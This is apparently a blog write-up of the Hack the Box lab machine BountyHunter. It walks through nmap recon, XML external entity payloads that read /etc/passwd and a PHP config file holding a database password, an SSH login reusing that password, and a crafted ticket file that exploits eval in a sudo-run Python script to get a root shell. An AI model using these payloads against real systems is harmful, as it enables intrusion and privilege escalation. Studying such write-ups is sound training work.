HTB: BountyHunter

Details

This machine is BountyHunter from Hack the Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 09:10 EDT
Nmap scan report for 10.10.11.100
Host is up (0.019s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.53 seconds

User

I started by browsing to http://10.10.11.100

Screenshot 1

The portal link takes you to /portal.php

Screenshot 2

The link on this page takes you to log_submit.php

Screenshot 3

I quickly sent in some test data

Screenshot 4

And inspected the request itself in Burp

Screenshot 5

This base64 decoded to the following XML

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
  <title>Test</title>
  <cwe>Test</cwe>
  <cvss>Test</cvss>
  <reward>Test</reward>
</bugreport>

So maybe an XXE?

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<bugreport>
  <title>&test;</title>
  <cwe>Test</cwe>
  <cvss>Test</cvss>
  <reward>Test</reward>
</bugreport>

Which in url safe base64 is

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48IURPQ1RZUEUgdGl0bGUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICdmaWxlOi8vL2V0Yy9wYXNzd2QnPl0%2bCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2bJnRlc3Q7PC90aXRsZT4KCQk8Y3dlPlRlc3Q8L2N3ZT4KCQk8Y3Zzcz5UZXN0PC9jdnNzPgoJCTxyZXdhcmQ%2bVGVzdDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3d%3d

If this works, it should display the contents of /etc/passwd. So I made another request with this as the payload

Screenshot 6

We can see the content of /etc/passwd in the response, so this is vulnerable to XXE. The full content of /etc/passwd was

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

So there is a user called development. But this doesn't help yet. So I enumerated the web app more, by conducting directory enumeration

kali@kali:~$ dirsearch -u http://10.10.11.100/ txt,html,php,md,bak -f -w /opt/Tools/SecLists/Discovery/Web-Content/raft-large-words.txt

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                          

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 820346

Output File: /opt/Tools/dirsearch/reports/10.10.11.100/-_21-08-27_09-58-44.txt

Error Log: /opt/Tools/dirsearch/logs/errors-21-08-27_09-58-44.log

Target: http://10.10.11.100/

[09:58:44] Starting: 
[09:58:44] 403 -  277B  - /.php
[09:58:44] 403 -  277B  - /.html                                           
[09:58:44] 301 -  309B  - /js  ->  http://10.10.11.100/js/                 
[09:58:44] 403 -  277B  - /js/                                             
[09:58:44] 301 -  310B  - /css  ->  http://10.10.11.100/css/               
[09:58:44] 403 -  277B  - /css/                                            
[09:58:45] 200 -   25KB - /index.php                                       
[09:58:45] 403 -  277B  - /.htm                                            
[09:58:46] 200 -    0B  - /db.php                                          
[09:58:47] 301 -  313B  - /assets  ->  http://10.10.11.100/assets/         
[09:58:47] 403 -  277B  - /assets/
[09:58:48] 301 -  316B  - /resources  ->  http://10.10.11.100/resources/   
[09:58:48] 200 -    3KB - /resources/                                      
[09:58:50] 200 -   25KB - /.                                               
[09:58:50] 200 -  125B  - /portal.php

db.php could be interesting, so I used the XXE to exfiltrate it. I used a PHP filter to base64 encode it so it wouldn't be executed instead of displayed

<?xml  version="1.0" encoding="ISO-8859-1"?><!DOCTYPE title [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
<bugreport>
  <title>&test;</title>
  <cwe>Test</cwe>
  <cvss>Test</cvss>
  <reward>Test</reward>
</bugreport>

In base64

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48IURPQ1RZUEUgdGl0bGUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICdwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCc%2bXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mdGVzdDs8L3RpdGxlPgoJCTxjd2U%2bVGVzdDwvY3dlPgoJCTxjdnNzPlRlc3Q8L2N2c3M%2bCgkJPHJld2FyZD5UZXN0PC9yZXdhcmQ%2bCgkJPC9idWdyZXBvcnQ%2b

This returned the following base64 as a result of the PHP filter

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

Which decoded to

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

This gave me a password to use, I tried it on ssh with the username identified earlier

kali@kali:~$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 27 Aug 2021 03:12:24 PM UTC

  System load:           0.08
  Usage of /:            26.7% of 6.83GB
  Memory usage:          28%
  Swap usage:            0%
  Processes:             215
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:fd98

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 27 01:00:11 2021 from 127.0.0.1
development@bountyhunter:~$

So I now had a shell, was this also the user flag?

development@bountyhunter:~$ ls -la
total 22356
drwxr-xr-x 8 development development     4096 Aug 27 01:56 .
drwxr-xr-x 3 root        root            4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root        root               9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development      220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development     3771 Feb 25  2020 .bashrc
drwx------ 2 development development     4096 Apr  5 22:50 .cache
-rw-r--r-- 1 root        root             471 Jun 15 16:10 contract.txt
drwx------ 2 development development     4096 Aug 27 01:43 .gnupg
lrwxrwxrwx 1 root        root               9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development     4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development      807 Feb 25  2020 .profile
drwx------ 2 development development     4096 Aug 27 00:59 .ssh
-r--r----- 1 root        development       33 Aug 26 23:19 user.txt
lrwxrwxrwx 1 root        root               9 Jul 22 11:10 .viminfo -> /dev/null

development@bountyhunter:~$ cat user.txt 
[REDACTED]

Root

It was user, next up, root. First I took a look at contract.txt

development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

This implied I had some level of permissions, so I checked sudo

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

What's in this script then, if it can be exploited, I can run it as root

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

So the goal was to craft a file that would pass validation and end up being passed to the following peice of code

validationNumber = eval(x.replace("**", ""))

So it will need to start with a line of

# Skytrain Inc

Then a line of

## Ticket to

Then by having

__Ticket Code:__

The next loop enters the following code

if code_line and i == code_line:
    if not x.startswith("**"):
        return False
    ticketCode = x.replace("**", "").split("+")[0]
    if int(ticketCode) % 7 == 4:
        validationNumber = eval(x.replace("**", ""))
        if validationNumber > 100:
            return True
        else:
            return False

So the line has to start with

**

Then all ** are removed, and it is split on +, the first thing on the left of a + is modular devided by 7, if that equals 4 the whole line is evaled. as 200 % 7 == 4 is true we can use

** 200 +

The whole line would then be eval'd so that needs to be valid, and i want a shell. So I'll have it spawn /bin/sh as the script runs as root, this would be a root shell

** 200 + 1 if 1==0 else __import__('os').system('/bin/sh')

Overall this comes to

# Skytrain Inc
## Ticket to 
__Ticket Code:__
** 200 + 1 if 1==0 else __import__('os').system('/bin/sh')

I saved this as jirbj.md and passed it to the script

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
./jirbj.md 
Destination: 
#

A shell popped out

# id
uid=0(root) gid=0(root) groups=0(root)

And that's root, now the flag

# cd /root

# ls -la
total 36
drwx------  6 root root 4096 Jul 22 11:11 .
drwxr-xr-x 19 root root 4096 Jul 21 12:00 ..
lrwxrwxrwx  1 root root    9 Apr  5 22:52 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  2 root root 4096 Apr  6 04:11 .cache
drwxr-xr-x  3 root root 4096 Apr  5 22:58 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-r--------  1 root root   33 Aug 26 23:19 root.txt
drwxr-xr-x  3 root root 4096 Apr  5 22:48 snap
drwx------  2 root root 4096 Apr  5 22:48 .ssh
lrwxrwxrwx  1 root root    9 Jul 22 11:11 .viminfo -> /dev/null

# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.